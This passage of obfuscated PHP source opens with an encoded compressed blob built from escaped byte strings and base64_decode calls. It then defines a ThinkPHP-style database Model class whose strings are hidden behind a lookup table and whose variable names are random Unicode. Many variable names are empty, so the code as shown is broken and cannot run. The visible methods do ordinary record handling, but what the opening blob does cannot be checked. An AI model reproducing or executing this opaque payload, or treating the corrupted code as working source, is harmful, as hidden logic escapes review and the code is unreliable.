46\236\266\25\42\267\153\167\250\106\203\131\112\25\252\113\51\312\264\32\52\102\153\243\222\374\213\264\52\72".base64_decode('JPSTeGuXHXlVSZYVUqqrrMSqUgzLqUvigsvjBn5ggSkDZESn1JwxInT1mKr+HMe2UA==')."\x2e\x8c\x14\x4c\xbe\xd5\xa4\x85\x2a\x26\x56\x23\xf\x94\xdc\xe3\x5c\x51\x9b\x13\x8d\xb\x65\xc9\xb5\x6e\x55\xcb\x1\xf\x96\x29\x54\x9e\xde\x73\x1a\x37\xd6\x12\xea\x4c\xf4\xb8\x65\xda\x46\x4a\x77".base64_decode('+u+V/XnRdPaRnCSwdMkKhYTDoetQRYJGQMAOCrE9rU9idAROOAx7KHsBtx30ojSILw==')."\344\371\25\31\361\75\113\267\143\232\34\67\113\266\7\247\45\314\42\371\155\63\155\133\50\16\120\221\2\341\41\361\236\352\221\364\142\120\110\334\207\341\106\221\213\26\202\266\204"."\xfa\x90\x20\x5c\xd9\xe2\xb3\x7a\x5c\xa7\xa9\x84\x66\x39\x22\xf8\x2\x87\x47\xe4\x2d\x13\xae\x6e\x3b\xca\xae\xcb\x65\x1\x40\x7\xe3\xa4\x39\xc1\x9c\x68\x61\xff\x2\xa2\x3d\xe2\x8a\x47\x73\xf3\x89"."\202\305\1\124\224\265\174\210\27\7\313\117\123\374\360\72\204\227\324\1\317\325\371\206\213\131\107\161\372\274\26\327\306\375\254\32\100\314\53\252\240\256\341\211\314\15\14\217\342"."\211\170\105\122\157\40\36\137\35\215\265\123\117\362\25\311\244\224\244\65\125\221\324\333\25\355\231\56\55\324\35\10\107\52\322\260\202\125\217\52\334\261\321\244\160\57\151\45\271"."\245\234\256\25\341\340\112\321\22\162\37\56\156\17\212\103\46\273\24\140\267\53\161\55\307\344\3\222\164\131\317\13\77\174\242\214\123\354\41\317\253\305\34\146\362\200\363\131\46"."\227\36\43\103\130\250\10\53\107\365\100\335\261\42\100\261\147\175\276\356\71\57\56\56\370\175\16\105\0\11\116\326\6\41\66\22\316\311\173\62\1\64\124\35\40\131\332\134\171"."\x13\x42\x52\xc5\x0\xe0\x86\x1d\x63\x82\x66\xdd\xb0\x99\x94\x6e\x3a\xe8\x49\x8\x4c\x7f\x61\x48\x25\x5\x38\x1a\x76\x24\xdb\x5a\xb6\xea\x7d\x38\x95\x2a\xe2\xd5\x2f\xe4\x7d\xff\x1b\x3e\x32\x23\x13"."\xd8\xaf\x0\x0", 10, -8))); goto CӔ; E: class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\x69\x64"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\164\x61\x62\x6c\145", "\157\162\144\x65\x72", "\x61\x6c\151\141\x73", "\150\141\166\x69\156\147", "\x67\x72\157\x75\160", "\154\x6f\x63\153", "\144\x69\x73\x74\151\x6e\143\164", "\141\165\x74\157", "\x66\x69\x6c\164\145\x72", "\166\141\154\x69\144\x61\x74\145", "\x72\x65\163\165\x6c\164", "\x62\151\x6e\x64", "\164\x6f\x6b\145\156"); public function __construct($ť = '', $牨 = '', $ʩ = '') { $耢 =& $_SERVER[ʇ]; $this->_initialize(); if (!empty($ť)) { if (strpos($ť, $耢[10])) { list($this->dbName, $this->name) = explode($耢[10], $ť); } else { $this->name = $ť; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($牨)) { $this->tablePrefix = $耢[12]; } elseif ($耢[12] != $牨) { $this->tablePrefix = $牨; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($耢[290]); } $this->db(0, empty($this->connection) ? $ʩ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ =& $_SERVER[ʇ]; if (empty($this->fields)) { if (think_config($[291])) { $ϥ = $this->dbName ? $this->dbName : think_config($[292]); $ = think_var_cache($[293] . strtolower(get_path_this($ϥ) . $[10] . $this->name)); if ($) { $ = think_config($[294]); if (empty($) || $[$[295]] == $) { $this->fields = $; return; } } } $this->flush(); } } public function flush() { $ß =& $_SERVER[ʇ]; $this->db->setModel($this->name); $ = $this->db->getFields($this->getTableName()); if (!$) { return !1; } $this->fields = array_keys($); $this->fields[$ß[296]] = !1; foreach ($ as $ => $ڿʛ) { $Ƀլ[$] = $ڿʛ[$ß[33]]; if ($ڿʛ[$ß[39]]) { $this->fields[$ß[297]] = $; if ($ڿʛ[$ß[42]]) { $this->fields[$ß[296]] = !0; } } } $this->fields[$ß[298]] = $Ƀլ; if (think_config($ß[294])) { $this->fields[$ß[295]] = think_config($ß[294]); } if (think_config($ß[291])) { $賴 = $this->dbName ? $this->dbName : think_config($ß[292]); think_var_cache($ß[293] . strtolower(get_path_this($賴) . $ß[10] . $this->name), $this->fields); } } public function switchModel($Î, $ = array()) { $ܥ =& $_SERVER[ʇ]; $햲 = ucwords(strtolower($Î)) . $ܥ[299]; if (!class_exists($햲)) { think_exception($햲 . think_lang($ܥ[300])); } $this->_extModel = new $햲($this->name); if (!empty($)) { foreach ($ as $) { $this->_extModel->setProperty($, $this->{$}); } } return $this->_extModel; } public function __set($, $) { $this->data[$] = $; } public function __get($) { return isset($this->data[$]) ? $this->data[$] : null; } public function __isset($) { return isset($this->data[$]); } public function __unset($) { unset($this->data[$]); } public function __call($, $蛵) { $ =& $_SERVER[ʇ]; if (in_array(strtolower($), $this->methods, !0)) { $this->options[strtolower($)] = $蛵[0]; return $this; } elseif (in_array(strtolower($), array($[301], $[302], $[303], $[304], $[305]), !0)) { $ = isset($蛵[0]) ? $蛵[0] : $[205]; $ = $this->db->parseKey($); return $this->getField(strtoupper($) . $[306] . $ . $[307] . $, $[301]); } elseif (strtolower(substr($, 0, 5)) == $[308]) { $ = think_parse_name(substr($, 5)); $♬[$] = $蛵[0]; return $this->where($♬)->find(); } elseif (strtolower(substr($, 0, 10)) == $[309]) { $ދ = think_parse_name(substr($, 10)); $♬[$ދ] = $蛵[0]; return $this->where($♬)->getField($蛵[1]); } elseif (isset($this->_scope[$])) { return $this->scope($, $蛵[0]); } elseif (method_exists($this, $)) { array_unshift($蛵, $); return call_user_func_array(array($this, $[310]), $蛵); } else { return call_user_func_array(array(parent, $), $蛵); } } protected function call() { $훤 =& $_SERVER[ʇ]; $½ = func_get_args(); $® = array_shift($½); $Ю = $®; if (is_array($®)) { $Ю = $®[1]; $® = $®[0]; } $艸 = count($½) - 1; if (isset($½[$艸]) && $½[$艸] === $®) { think_exception(__CLASS__ . $훤[4] . $® . think_lang($훤[311])); return; } $½[] = $®; if (method_exists($this, $훤[312])) { $ = call_user_func_array(array($this, $훤[313]), array($Ю, $½)); if (!is_null($) && $ !== !1) { return $; } } $㋌ = call_user_func_array(array($this, $®), $½); if (method_exists($this, $훤[314])) { $ = call_user_func_array(array($this, $훤[315]), array($Ю, $½, $㋌)); if ($) { return $; } } return $㋌; } protected function _initialize() { } protected function _facade($) { $͖ =& $_SERVER[ʇ]; if (!empty($this->fields)) { foreach ($ as $汸 => $) { if (is_array($this->fields) && !in_array($汸, $this->fields, !0)) { unset($[$汸]); } elseif (is_scalar($)) { $this->_parseType($, $汸); } } } if (!empty($this->options[$͖[316]])) { $ = array_map($this->options[$͖[316]], $); unset($this->options[$͖[316]]); } $this->_beforeWrite($); return $; } protected function _beforeWrite(&$Լ鄙) { } public function add($ = '', $ʋ = array(), $٠ = false) { if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[ʇ][317]); return !1; } } $ʋ = $this->_parseOptions($ʋ); $ = $this->_facade($); if (!1 === $this->_beforeInsert($, $ʋ)) { return !1; } $ = $this->db->insert($, $ʋ, $٠); if (!1 !== $) { $󙇈 = $this->getLastInsID(); if ($󙇈) { $[$this->getPk()] = $󙇈; $this->_after_insert($, $ʋ); return $󙇈; } $this->_after_insert($, $ʋ); } return $; } protected function _beforeInsert(&$˽, $) { } protected function _after_insert($, $) { } public function addAll($ߓ, $э = array(), $투 = false) { $ɰ =& $_SERVER[ʇ]; if (empty($ߓ)) { $this->error = think_lang($ɰ[317]); return !1; } $э = $this->_parseOptions($э); foreach ($ߓ as $ => $) { $ߓ[$] = $this->_facade($); } if (method_exists($this->db, $ɰ[318])) { $̫ = $this->db->insertAll($ߓ, $э, $투); } else { $this->startTrans(); foreach ($ߓ as $ => $) { $̫ = $this->db->insert($, $э, $투); } $this->commit(); } if (!1 !== $̫) { $̈́ = $this->getLastInsID(); if ($̈́) { return $̈́; } } return $̫; } public function selectAdd($ = '', $ = '', $ګ틆 = array()) { $ƌ =& $_SERVER[ʇ]; $ګ틆 = $this->_parseOptions($ګ틆); if (!1 === ($ה = $this->db->selectInsert($ ? $ : $ګ틆[$ƌ[319]], $ ? $ : $this->getTableName(), $ګ틆))) { $this->error = think_lang($ƌ[320]); return !1; } else { return $ה; } } public function save($ެ = '', $Զג = array()) { $ۦ =& $_SERVER[ʇ]; if (empty($ެ)) { if (!empty($this->data)) { $ެ = $this->data; $this->data = array(); } else { $this->error = think_lang($ۦ[317]); return !1; } } $ެ = $this->_facade($ެ); $Զג = $this->_parseOptions($Զג); $ = $this->getPk(); if (!isset($Զג[$ۦ[321]])) { if (isset($ެ[$])) { $Ƀ[$] = $ެ[$]; $Զג[$ۦ[321]] = $Ƀ; unset($ެ[$]); } else { $this->error = think_lang($ۦ[320]); return !1; } } if (is_array($Զג[$ۦ[321]]) && isset($Զג[$ۦ[321]][$])) { $ = $Զג[$ۦ[321]][$]; } if (!1 === $this->_beforeUpdate($ެ, $Զג)) { return !1; } $Ɉ = $this->db->update($ެ, $Զג); if (!1 !== $Ɉ) { if (isset($)) { $ެ[$] = $; } $this->_afterUpdate($ެ, $Զג); } return $Ɉ; } protected function _beforeUpdate(&$, $) { } protected function _afterUpdate($, $ǖ) { } public function delete($û = array()) { $ъ =& $_SERVER[ʇ]; if (empty($û) && empty($this->options[$ъ[321]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $ = $this->getPk(); if (is_numeric($û) || is_string($û)) { if (strpos($û, $ъ[50])) { $Ɋ[$] = array($ъ[322], $û); } else { $Ɋ[$] = $û; } $this->options[$ъ[321]] = $Ɋ; } $û = $this->_parseOptions(); if (is_array($û[$ъ[321]]) && isset($û[$ъ[321]][$])) { $ﯟ = $û[$ъ[321]][$]; } $ = $this->db->delete($û); if (!1 !== $) { $ = array(); if (isset($ﯟ)) { $[$] = $ﯟ; } $this->_after_delete($, $û); } return $; } protected function _after_delete($ԯ, $) { } public function select($ѫ = array()) { $Ԓ =& $_SERVER[ʇ]; if (is_string($ѫ) || is_numeric($ѫ)) { $ = $this->getPk(); if (strpos($ѫ, $Ԓ[50])) { $آ[$] = array($Ԓ[322], $ѫ); } else { $آ[$] = $ѫ; } $this->options[$Ԓ[321]] = $آ; } elseif (!1 === $ѫ) { $ѫ = $this->_parseOptions(); return $Ԓ[323] . $this->db->buildSelectSql($ѫ) . $Ԓ[324]; } $ѫ = $this->_parseOptions(); $ = $this->db->select($ѫ); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->_afterSelect($, $ѫ); return $; } protected function _afterSelect(&$؇, $귄ü) { } public function buildSql($ = array()) { $ؔ =& $_SERVER[ʇ]; $ = $this->_parseOptions($); return $ؔ[323] . $this->db->buildSelectSql($) . $ؔ[324]; } public function optionsValue($ = null) { if (is_null($)) { return $this->options; } elseif (is_array($)) { $this->options = array_merge($this->options, $); } } protected function _parseOptions($Ή = array()) { $ۛ =& $_SERVER[ʇ]; if (is_array($Ή)) { $Ή = array_merge($this->options, $Ή); } $this->options = array(); if (!isset($Ή[$ۛ[325]])) { $Ή[$ۛ[325]] = $this->getTableName(); $ = $this->fields; } else { $ = $this->getDbFields(); } if (!empty($Ή[$ۛ[326]])) { $Ή[$ۛ[325]] .= $ۛ[53] . $Ή[$ۛ[326]]; } $Ή[$ۛ[327]] = $this->name; if (isset($Ή[$ۛ[321]]) && is_array($Ή[$ۛ[321]]) && !empty($) && !isset($Ή[$ۛ[328]]) && !isset($Ή[$ۛ[325]])) { foreach ($Ή[$ۛ[321]] as $ɔ => $) { $ɔ = trim($ɔ); if (in_array($ɔ, $, !0)) { if (is_scalar($)) { $this->_parseType($Ή[$ۛ[321]], $ɔ); } } elseif (!is_numeric($ɔ) && $ۛ[11] != substr($ɔ, 0, 1) && !1 === strpos($ɔ, $ۛ[10]) && !1 === strpos($ɔ, $ۛ[306]) && !1 === strpos($ɔ, $ۛ[329]) && !1 === strpos($ɔ, $ۛ[330])) { unset($Ή[$ۛ[321]][$ɔ]); } } } $this->_options_filter($Ή); return $Ή; } protected function _options_filter(&$DZ) { } protected function _parseType(&$ɿ, $ю) { $փ =& $_SERVER[ʇ]; if (empty($this->options[$փ[331]][$փ[4] . $ю])) { $ö = strtolower($this->fields[$փ[298]][$ю]); if (!1 !== strpos($ö, $փ[332])) { } elseif (!1 === strpos($ö, $փ[333]) && !1 !== strpos($ö, $փ[334])) { $ɿ[$ю] = intval($ɿ[$ю]); } elseif (!1 !== strpos($ö, $փ[335]) || !1 !== strpos($ö, $փ[336])) { $ɿ[$ю] = floatval($ɿ[$ю]); } elseif (!1 !== strpos($ö, $փ[337])) { $ɿ[$ю] = (bool) $ɿ[$ю]; } } } public function find($ = array()) { $͇ =& $_SERVER[ʇ]; if (is_numeric($) || is_string($)) { $ާ[$this->getPk()] = intval($); $this->options[$͇[321]] = $ާ; } $this->options[$͇[338]] = 1; $ = $this->_parseOptions(); $Ł = $this->db->select($); if (!1 === $Ł) { return !1; } if (empty($Ł)) { return null; } $this->data = $Ł[0]; $this->_afterFind($this->data, $); if (!empty($this->options[$͇[339]])) { return $this->returnResult($this->data, $this->options[$͇[339]]); } return $this->data; } protected function _afterFind(&$禔, $Ѫ) { } protected function returnResult($, $ٿ = '') { $ =& $_SERVER[ʇ]; if ($ٿ) { if (is_callable($ٿ)) { return call_user_func($ٿ, $); } switch (strtolower($ٿ)) { case $[340]: return json_encode($); case $[341]: return xml_encode($); } } return $; } public function parseFieldsMap($͒, $㨕 = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ => $) { if ($㨕 == 1) { if (isset($͒[$])) { $͒[$] = $͒[$]; unset($͒[$]); } } else { if (isset($͒[$])) { $͒[$] = $͒[$]; unset($͒[$]); } } } } return $͒; } public function setField($, $ʜ = '') { if (is_array($)) { $ = $; } else { $[$] = $ʜ; } return $this->save($); } public function setAdd($ē, $ = 1) { $˸ =& $_SERVER[ʇ]; $؞ = $ē . $˸[342] . $; if ($ < 0) { $؞ = $ē . $; } return $this->setField($ē, array($˸[343], $؞)); } public function getField($, $܃ = null) { $̽ =& $_SERVER[ʇ]; $؛[$̽[319]] = $; $؛ = $this->_parseOptions($؛); $ = trim($); if (strpos($, $̽[50])) { if (!isset($؛[$̽[338]])) { $؛[$̽[338]] = is_numeric($܃) ? $܃ : $̽[12]; } $ = $this->db->select($؛); if (!empty($)) { $ׯ͟ = explode($̽[50], $); $ = array_keys($[0]); $Ѷ = array_shift($); $ = array_shift($); $ = array(); $Œ = count($ׯ͟); foreach ($ as $ʼn) { $ = $ʼn[$Ѷ]; if (2 == $Œ) { $[$] = $ʼn[$]; } else { $[$] = is_string($܃) ? implode($܃, $ʼn) : $ʼn; } } return $; } } else { if (!0 !== $܃) { $؛[$̽[338]] = is_numeric($܃) ? $܃ : 1; } if ($܃ === $̽[301]) { unset($؛[$̽[338]]); } $ʼn = $this->db->select($؛); if (!empty($ʼn)) { if ($܃ === $̽[301]) { return reset($ʼn[0]); } if (!0 !== $܃ && 1 == $؛[$̽[338]]) { return reset($ʼn[0]); } foreach ($ʼn as $) { $Œ[] = $[$]; } return $Œ; } } return null; } public function create($ = '', $ = '') { $ؔ겋 =& $_SERVER[ʇ]; if (empty($)) { $ = $_POST; } elseif (is_object($)) { $ = get_object_vars($); } if (empty($) || !is_array($)) { $this->error = think_lang($ؔ겋[317]); return !1; } $ = $this->parseFieldsMap($, 0); $ = $ ? $ : (!empty($[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$ؔ겋[319]])) { $ = $this->options[$ؔ겋[319]]; unset($this->options[$ؔ겋[319]]); } elseif ($ == THINK_MODEL_INSERT && isset($this->insertFields)) { $ = $this->insertFields; } elseif ($ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ = $this->updateFields; } if (isset($)) { if (is_string($)) { $ = explode($ؔ겋[50], $); } if (think_config($ؔ겋[344])) { $[] = think_config($ؔ겋[345]); } foreach ($ as $ڛ => $݂) { if (!in_array($ڛ, $)) { unset($[$ڛ]); } } } if (!$this->autoValidation($, $)) { return !1; } if (!$this->autoCheckToken($)) { $this->error = think_lang($ؔ겋[346]); return !1; } if ($this->autoCheckFields) { $ = $this->getDbFields(); foreach ($ as $ڛ => $݂) { if (!in_array($ڛ, $)) { unset($[$ڛ]); } elseif (MAGIC_QUOTES_GPC && is_string($݂)) { $[$ڛ] = stripslashes($݂); } } } $this->autoOperation($, $); $this->data = $; return $; } public function autoCheckToken($ɏ) { $ =& $_SERVER[ʇ]; if (isset($this->options[$[347]]) && !$this->options[$[347]]) { return !0; } if (think_config($[344])) { $ = think_config($[345]); if (!isset($ɏ[$]) || Session::get($)) { return !1; } list($ō, $ެ) = explode($[11], $ɏ[$]); if ($ެ && Session::get($ . $[10] . $ō) === $ެ) { Session::remove($ . $[10] . $ō); return !0; } if (think_config($[348])) { Session::remove($ . $[10] . $ō); } return !1; } return !0; } public function regex($؉, $⛝) { $󈬶 =& $_SERVER[ʇ]; $도 = array($󈬶[349] => $󈬶[350], $󈬶[351] => $󈬶[352], $󈬶[353] => $󈬶[354], $󈬶[355] => $󈬶[356], $󈬶[357] => $󈬶[358], $󈬶[359] => $󈬶[360], $󈬶[361] => $󈬶[362], $󈬶[336] => $󈬶[363], $󈬶[364] => $󈬶[365]); if (isset($도[strtolower($⛝)])) { $⛝ = $도[strtolower($⛝)]; } return preg_match($⛝, $؉) === 1; } private function autoOperation(&$, $) { $ =& $_SERVER[ʇ]; if (!empty($this->options[$[366]])) { $ = $this->options[$[366]]; unset($this->options[$[366]]); } elseif (!empty($this->_auto)) { $ = $this->_auto; } if (isset($)) { foreach ($ as $) { if (empty($[2])) { $[2] = THINK_MODEL_INSERT; } if ($ == $[2] || $[2] == THINK_MODEL_BOTH) { switch (trim($[3])) { case $[367]: case $[368]: $ܸ = isset($[4]) ? (array) $[4] : array(); if (isset($[$[0]])) { array_unshift($ܸ, $[$[0]]); } if ($[367] == $[3]) { $[$[0]] = call_user_func_array($[1], $ܸ); } else { $[$[0]] = call_user_func_array(array(&$this, $[1]), $ܸ); } break; case $[319]: $[$[0]] = $[$[1]]; break; case $[369]: if ($[12] === $[$[0]]) { unset($[$[0]]); } break; case $[370]: default: $[$[0]] = $[1]; } if (!1 === $[$[0]]) { unset($[$[0]]); } } } } return $; } protected function autoValidation($ͳ, $ޖ) { $Ø =& $_SERVER[ʇ]; if (!empty($this->options[$Ø[371]])) { $ߊ = $this->options[$Ø[371]]; unset($this->options[$Ø[371]]); } elseif (!empty($this->_validate)) { $ߊ = $this->_validate; } if (isset($ߊ)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ߊ as $ => $) { if (empty($[5]) || $[5] == THINK_MODEL_BOTH || $[5] == $ޖ) { if (0 == strpos($[2], $Ø[372]) && strpos($[2], $Ø[373])) { $[2] = think_lang(substr($[2], 2, -1)); } $[3] = isset($[3]) ? $[3] : THINK_EXISTS_VALIDATE; $[4] = isset($[4]) ? $[4] : $Ø[374]; switch ($[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($ͳ, $)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($Ø[12] != trim($ͳ[$[0]])) { if (!1 === $this->_validationField($ͳ, $)) { return !1; } } break; default: if (isset($ͳ[$[0]])) { if (!1 === $this->_validationField($ͳ, $)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($ꮖ, $) { if (!1 === $this->_validationFieldItem($ꮖ, $)) { if ($this->patchValidate) { $this->error[$[0]] = $[2]; } else { $this->error = $[2]; return !1; } } return; } protected function _validationFieldItem($Ԟ, $͡) { $ =& $_SERVER[ʇ]; switch (strtolower(trim($͡[4]))) { case $[367]: case $[368]: $ѐ = isset($͡[6]) ? (array) $͡[6] : array(); if (is_string($͡[0]) && strpos($͡[0], $[50])) { $͡[0] = explode($[50], $͡[0]); } if (is_array($͡[0])) { foreach ($͡[0] as $) { $[$] = $Ԟ[$]; } array_unshift($ѐ, $); } else { array_unshift($ѐ, $Ԟ[$͡[0]]); } if ($[367] == $͡[4]) { return call_user_func_array($͡[1], $ѐ); } else { return call_user_func_array(array(&$this, $͡[1]), $ѐ); } case $[375]: return $Ԟ[$͡[0]] == $Ԟ[$͡[1]]; case $[376]: if (is_string($͡[0]) && strpos($͡[0], $[50])) { $͡[0] = explode($[50], $͡[0]); } $줯 = array(); if (is_array($͡[0])) { foreach ($͡[0] as $) { $줯[$] = $Ԟ[$]; } } else { $줯[$͡[0]] = $Ԟ[$͡[0]]; } if (!empty($Ԟ[$this->getPk()])) { $줯[$this->getPk()] = array($[377], $Ԟ[$this->getPk()]); } if ($this->where($줯)->find()) { return !1; } return !0; default: return $this->check($Ԟ[$͡[0]], $͡[1], $͡[4]); } } public function check($묧, $Ȁ, $֧ = "\x72\x65\x67\x65\x78") { $Ԙ =& $_SERVER[ʇ]; $֧ = strtolower(trim($֧)); switch ($֧) { case $Ԙ[7]: case $Ԙ[378]: $޼ = is_array($Ȁ) ? $Ȁ : explode($Ԙ[50], $Ȁ); return $֧ == $Ԙ[7] ? in_array($묧, $޼) : !in_array($묧, $޼); case $Ԙ[379]: case $Ԙ[380]: if (is_array($Ȁ)) { $ = $Ȁ[0]; $ƫ = $Ȁ[1]; } else { list($, $ƫ) = explode($Ԙ[50], $Ȁ); } return $֧ == $Ԙ[379] ? $묧 >= $ && $묧 <= $ƫ : $묧 < $ || $묧 > $ƫ; case $Ԙ[381]: case $Ԙ[382]: return $֧ == $Ԙ[381] ? $묧 == $Ȁ : $묧 != $Ȁ; case $Ԙ[383]: $ = mb_strlen($묧, $Ԙ[384]); if (strpos($Ȁ, $Ԙ[50])) { list($, $ƫ) = explode($Ԙ[50], $Ȁ); return $ >= $ && $ <= $ƫ; } else { return $ == $Ȁ; } case $Ԙ[385]: list($, $ֳנ) = explode($Ԙ[50], $Ȁ); if (!is_numeric($)) { $ = strtotime($); } if (!is_numeric($ֳנ)) { $ֳנ = strtotime($ֳנ); } return NOW_TIME >= $ && NOW_TIME <= $ֳנ; case $Ԙ[386]: return in_array(get_client_ip(), explode($Ԙ[50], $Ȁ)); case $Ԙ[387]: return !in_array(get_client_ip(), explode($Ԙ[50], $Ȁ)); case $Ԙ[374]: default: return $this->regex($묧, $Ȁ); } } public function query($, $͆ = false) { $ =& $_SERVER[ʇ]; if (!is_bool($͆) && !is_array($͆)) { $͆ = func_get_args(); array_shift($͆); } $ = str_replace(array($[248], $[388]), $[53], $); $ = $this->parseSql($, $͆); return $this->db->query($); } public function execute($Ѹ, $ȳӕ = false) { if (!is_bool($ȳӕ) && !is_array($ȳӕ)) { $ȳӕ = func_get_args(); array_shift($ȳӕ); } $Ѹ = $this->parseSql($Ѹ, $ȳӕ); return $this->db->execute($Ѹ); } protected function parseSql($, $) { $ =& $_SERVER[ʇ]; if (!0 === $) { $ڌ = $this->_parseOptions(); $ = $this->db->parseSql($, $ڌ); } elseif (is_array($)) { $ = array_map(array($this->db, $[389]), $); $ = vsprintf($, $); } else { $ = strtr($, array($[390] => $this->getTableName(), $[391] => think_config($[290]))); } $this->db->setModel($this->name); return $; } public function db($ݴ = '', $ = '', $֞ = array()) { $ۘ =& $_SERVER[ʇ]; if ($ۘ[12] === $ݴ && $this->db) { return $this->db; } static $ꧥ = array(); static $ = array(); if (!isset($[$ݴ]) || isset($[$ݴ]) && $ && $ꧥ[$ݴ] != $) { if (!empty($) && is_string($) && !1 === strpos($, $ۘ[8])) { $ = think_config($); } $ݴ = think_guid($); $[$ݴ] = Db::getInstance($); } elseif (NULL === $) { $[$ݴ]->close(); unset($[$ݴ]); return; } if (!empty($֞)) { if (is_string($֞)) { parse_str($֞, $֞); } foreach ($֞ as $ => $کĶ) { $this->setProperty($, $کĶ); } } $ꧥ[$ݴ] = $; $this->db = $[$ݴ]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $ڋш = get_class($this); if ($ڋш == $_SERVER[ʇ][392]) { return $this->name; } $this->name = substr($ڋш, 0, -5); } return $this->name; } public function getTableName() { $ =& $_SERVER[ʇ]; if (empty($this->trueTableName)) { $۶ = !empty($this->tablePrefix) ? $this->tablePrefix : $[12]; if (!empty($this->tableName)) { $۶ .= $this->tableName; } else { $۶ .= think_parse_name($this->name); } $this->trueTableName = strtolower($۶); } return (!empty($this->dbName) ? $this->dbName . $[10] : $[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $܋ =& $_SERVER[ʇ]; return isset($this->fields[$܋[297]]) ? $this->fields[$܋[297]] : $this->pk; } public function getDbFields() { $–׳ =& $_SERVER[ʇ]; if (isset($this->options[$–׳[325]])) { $ = $this->db->getFields($this->options[$–׳[325]]); return $ ? array_keys($) : !1; } if ($this->fields) { $ = $this->fields; unset($[$–׳[296]], $[$–׳[297]], $[$–׳[298]], $[$–׳[295]]); return $; } return !1; } public function data($ = '') { $٣ =& $_SERVER[ʇ]; if ($٣[12] === $ && !empty($this->data)) { return $this->data; } if (is_object($)) { $ = get_object_vars($); } elseif (is_string($)) { parse_str($, $); } elseif (!is_array($)) { think_exception(think_lang($٣[317])); } $this->data = $; return $this; } public function join($ɔ) { $ݡ =& $_SERVER[ʇ]; if (is_array($ɔ)) { $this->options[$ݡ[328]] = $ɔ; } elseif (!empty($ɔ)) { $this->options[$ݡ[328]][] = $ɔ; } return $this; } public function union($, $ = false) { $à =& $_SERVER[ʇ]; if (empty($)) { return $this; } if ($) { $this->options[$à[393]][$à[394]] = !0; } if (is_object($)) { $ = get_object_vars($); } if (is_string($)) { $ = $; } elseif (is_array($)) { if (isset($[0])) { $this->options[$à[393]] = array_merge($this->options[$à[393]], $); return $this; } else { $ = $; } } else { think_exception(think_lang($à[317])); } $this->options[$à[393]][] = $; return $this; } public function cache($႕ = true, $鶚 = null, $ث = '') { $ =& $_SERVER[ʇ]; if (!1 !== $႕) { $this->options[$[395]] = array($[96] => $႕, $[385] => $鶚, $[33] => $ث); } return $this; } public function field($Μ, $ = false) { $؏ =& $_SERVER[ʇ]; if (!0 === $Μ) { $ѷ = $this->getDbFields(); $Μ = $ѷ ? $ѷ : $؏[205]; } elseif ($) { if (is_string($Μ)) { $Μ = explode($؏[50], $Μ); } $ѷ = $this->getDbFields(); $Μ = $ѷ ? array_diff($ѷ, $Μ) : $Μ; } $this->options[$؏[319]] = $Μ; return $this; } public function scope($᷷ = '', $ = NULL) { $Ӯ =& $_SERVER[ʇ]; if ($Ӯ[12] === $᷷) { if (isset($this->_scope[$Ӯ[37]])) { $قݔ = $this->_scope[$Ӯ[37]]; } else { return $this; } } elseif (is_string($᷷)) { $ = explode($Ӯ[50], $᷷); $قݔ = array(); foreach ($ as $) { if (!isset($this->_scope[$])) { continue; } $قݔ = array_merge($قݔ, $this->_scope[$]); } if (!empty($) && is_array($)) { $قݔ = array_merge($قݔ, $); } } elseif (is_array($᷷)) { $قݔ = $᷷; } if (is_array($قݔ) && !empty($قݔ)) { $this->options = array_merge($this->options, array_change_key_case($قݔ)); } return $this; } public function where($Û, $ = null) { $诅 =& $_SERVER[ʇ]; if (!is_null($) && is_string($Û)) { if (!is_array($)) { $ = func_get_args(); array_shift($); } $ = array_map(array($this->db, $诅[389]), $); $Û = vsprintf($Û, $); } elseif (is_object($Û)) { $Û = get_object_vars($Û); } elseif (is_array($Û)) { foreach ($Û as $ => $) { if ((is_numeric($) || !$) && is_string($)) { if (strpos($, $诅[396]) === 0) { continue; } think_trace($诅[397], $诅[12], $诅[49]); die; } } } if (is_string($Û) && $诅[12] != $Û) { $ = array(); $[$诅[398]] = $Û; $Û = $; } if (isset($this->options[$诅[321]])) { $this->options[$诅[321]] = array_merge($this->options[$诅[321]], $Û); } else { $this->options[$诅[321]] = $Û; } return $this; } public function limit($ҹ, $ = null) { $ =& $_SERVER[ʇ]; $this->options[$[338]] = is_null($) ? $ҹ : $ҹ . $[50] . $; return $this; } public function page($ۙ, $ɏ = null) { $ƌܰ =& $_SERVER[ʇ]; $this->options[$ƌܰ[399]] = is_null($ɏ) ? $ۙ : $ۙ . $ƌܰ[50] . $ɏ; return $this; } public function comment($) { $this->options[$_SERVER[ʇ][400]] = $; return $this; } public function setProperty($֤, $֊) { if (property_exists($this, $֤)) { $this->{$֤} = $֊; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\x6d\157\144\x69\x66\x79\x54\x69\155\x65", "\164\151\x6d\145", 